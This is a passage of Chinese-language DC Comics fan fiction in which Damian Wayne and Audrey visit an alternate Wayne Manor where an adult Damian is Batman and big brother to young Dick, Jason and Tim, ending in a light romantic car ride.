在管家离开后，奥德莉又一次对成熟达米安的身材大发感慨：“这个达米安也太壮了吧。感觉他能把蝙蝠侠拎起来。单手。” “也许他能单手把超人拎起来，那又怎么样？战斗时靠的又不是举重能力。”达米安面无表情地反驳道。 奥德莉才不理达米安的冷嘲热讽，继续疑问连连：“你的同位体是怎么变异成这样的？你们刺客联盟的训练不是走灵巧路线吗？他是从小把蛋白粉当奶粉喝吗？话说，这个不是你幻想出来的世界吧？” “你觉得这是我最希望的现实吗？”达米安反问。 “这个设定确实很酷啊，”奥德莉眨眨眼。“而且你敢说你没幻想过他们三个比你年纪小、还对你言听计从？” 达米安可疑地沉默了。 渐渐地，韦恩庄园变得热闹起来。布鲁斯总裁和三个还在读书的养子陆续起床，餐厅里隐约有鸡飞狗跳的趋势。 “你们也一起来吧。”成熟达米安出现在客厅门口。他已经洗过澡，头发还带着湿意，身上穿着款式简洁的家居服。 奥德莉忍不住又看呆了。这真的不能怪她——这个达米安实在太引人注目了。他高大魁梧，但成熟从容的气质又让他不像一个靠蛮力取胜的战士，更像是一位天生的指挥官。 早餐桌上，奥德莉一边吃饭，一边观察这家人的相处。 在这个世界中，达米安是韦恩家的长子，是肩负家族责任、呵护弟弟妹妹的大哥。布鲁斯退休后，二十二岁的达米安继任蝙蝠侠，至今已经五年了。 三个弟弟都对大哥十分崇拜，虽然也会偶尔调皮地顶嘴一句，但下意识的信服与依赖是藏不住的。 至于布鲁斯总裁，他看起来很享受自己的超级英雄退休生活。在奥德莉提到他们此行的目的时，布鲁斯大手一挥：“和达米安谈就行了。我已经不管那些事了。” 迪克在吃饭时一直好奇地打量达米安，视线在两位达米安身上转来转去，最后像是得出什么重要结论一般开口：“我大哥比你厉害一万倍。” 达米安真想把餐巾砸到那个臭屁小孩的脸上，但他忍住了，因为他自认为是一个成熟稳重的人。 奥德莉拼命忍笑，在桌子下面握住达米安的手。达米安脸色稍缓，但还是狠狠地瞪了迪克一眼：“我不和小矮子计较。” “大哥，他瞪我。”迪克立刻告状，而且开始抽噎。“我在马戏团长大，虽然我的父母生前很爱我，但我总是吃不饱，所以身高才比同龄人矮……” 达米安明知道迪克是在演戏，但又不能真的和小孩子吵架，气哼哼地移开视线，随即又听见迪克用故作天真的语气说：“你是我大哥的同位体，可你比他矮，也比他瘦弱。” 这一次，达米安气得瞪圆了绿眼睛。奥德莉立刻凑到他耳边，小声哄道：“你想像一下，他那么大的体型，变成猫咪的话说不定比老鼠还小，你可以很轻松地把他按在原地起不来。一只爪子就能按住。” 达米安想象了一下，满意地点点头，靠着精神胜利法心平气和了。 成熟达米安一字不漏地听见了客人们的幼稚对话，却连眉毛都没动一下，只是对弟弟说：“迪克，如果你真想长高的话，就把牛奶喝完。” 迪克扁扁嘴，在自家大哥的盯视下把牛奶一饮而尽，抹了抹嘴：“我喝完了。” “很好。你会长得很高的，像我一样。”成熟达米安鼓励道。迪克听完快乐地笑起来，还趾高气扬地看了看杰森和提姆。 “我也会长得像大哥那么高。”提姆抓起牛奶杯子，视死如归般地喝完了。 “我会比你们更高，而且更壮。”杰森也不甘示弱。 “真热闹啊。”奥德莉喃喃地说，崇拜地看了一眼阿尔弗雷德，以及深藏功与名的成熟达米安——他只需略施小计，就能让弟弟们服服帖帖。 早餐后，成熟达米安听了奥德莉传递的消息，郑重地说：“谢谢你的警示。我会认真对待。” 他又拿出一张黑卡，说：“既然你们今晚九点才能离开，白天可以去市里逛逛。” “谢谢大哥。”奥德莉学着早餐时听到的称呼，毕恭毕敬地说。 成熟达米安笑了笑，又意味深长地看了一眼达米安：“和这个幼稚的家伙在一起，辛苦你了。” 真是个恶趣味的家伙，表面看起来成熟稳重，实际上狡猾得很。明明对如何应对炸毛弟弟早已驾轻就熟，却偏偏故意惹年轻的同位体生气。 奥德莉在心里吐槽，但拿人家的手软，她只是笑着回答：“他幼稚得刚刚好，正好是我最喜欢的样子。” “总比某人继承了花花公子的人设要好。”早上在客厅翻了不少杂志的达米安冷哼一声。“比布鲁斯更有魅力的下一代韦恩，啧。” “这是大人的生活，你还不懂。”成熟达米安淡定还击。 奥德莉眼明手快地按住准备拔刀的达米安，说：“谢谢您的赞助，我们这就去市里了。” 两人从韦恩家的车库里开了一辆低调的劳斯莱斯。奥德莉坐在副驾驶上，看着依然气鼓鼓的达米安，大笑出声：“他是在故意气你，我不相信你看不出来。” “我知道，但依然很气。”达米安板着脸。“不过比我大了五岁而已，竟然在我面前摆出一副长辈的架子。” “我倒觉得他的游刃有余都是被三个弟弟折腾出来的。你看那三个家伙，就像比格犬一样，一个比一个精力充沛。” “你说得我都有点同情他了。”达米安很喜欢奥德莉的比喻。 “迪克给我讲了很多你和他的故事呢。你想像一下，迪克需要带三个像你这样的弟弟，是不是超级可怕？” “等等，你是在说我是比格吗？”达米安没想到这个比喻会回旋镖到自己身上，立刻不满地瞥了奥德莉一眼。 “好好开车。”奥德莉轻轻敲了达米安的小臂一下。 “werwerwer。”达米安大声叫道。 “你真可爱。”奥德莉笑得倒在了座椅上。 达米安也笑了。他飞快地转头看了奥德莉一眼，又迅速将视线收回，望向前方的道路。 他握着方向盘，认真地说：“我爱你。” 奥德莉看着达米安的侧脸，不自觉地微笑起来，说：“我也爱你。” 车子平稳地向前驶去，驶向一段温柔而快乐的时光。【你现在阅读的是 】